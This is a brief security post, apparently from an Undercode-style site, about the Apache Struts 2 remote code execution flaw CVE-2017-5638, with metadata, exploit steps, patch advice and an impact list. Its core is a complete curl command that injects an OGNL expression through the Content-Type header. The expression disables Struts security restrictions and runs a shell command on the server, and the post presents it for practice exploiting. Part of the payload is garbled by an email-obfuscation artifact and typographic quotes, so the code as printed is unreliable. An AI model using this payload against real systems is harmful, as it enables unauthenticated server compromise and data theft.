Listen to this Post
How the mentioned CVE works:
The CVE-2017-5638 vulnerability exists in the Jakarta Multipart parser of Apache Struts 2. An attacker can exploit this by sending a malformed Content-Type header in an HTTP request to a vulnerable Struts application. The parser incorrectly handles the header when an exception occurs during file upload. This allows an attacker to inject Object-Graph Navigation Language (OGNL) expressions directly into the Content-Type value. The framework then evaluates these expressions, leading to the execution of arbitrary system commands on the server with the privileges of the Struts application. This provides a direct vector for complete server compromise without requiring authentication.
Platform: Apache Struts
Version: 2.3.5 – 2.3.31
Vulnerability : Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: Patch available
What Undercode Say:
`curl -H “Content-Type: %{(_=’multipart/form-data’).([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context[‘com.opensymphony.xwork2.ActionContext.container’]).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd=’whoami’).(iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(cmds=(iswin?{‘cmd.exe’,’/c’,cmd}:{‘/bin/bash’,’-c’,cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}” http://target.com/struts2-blank/example/HelloWorld.action`
How Exploit:
Craft malicious Content-Type header.
Send HTTP request.
OGNL expression execution.
Arbitrary command injection.
Protection from this CVE
Upgrade Struts immediately.
Apply official patch.
Use alternative parser.
Implement WAF rules.
Impact:
Remote Code Execution.
Full system compromise.
Data breach potential.
Complete server control.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
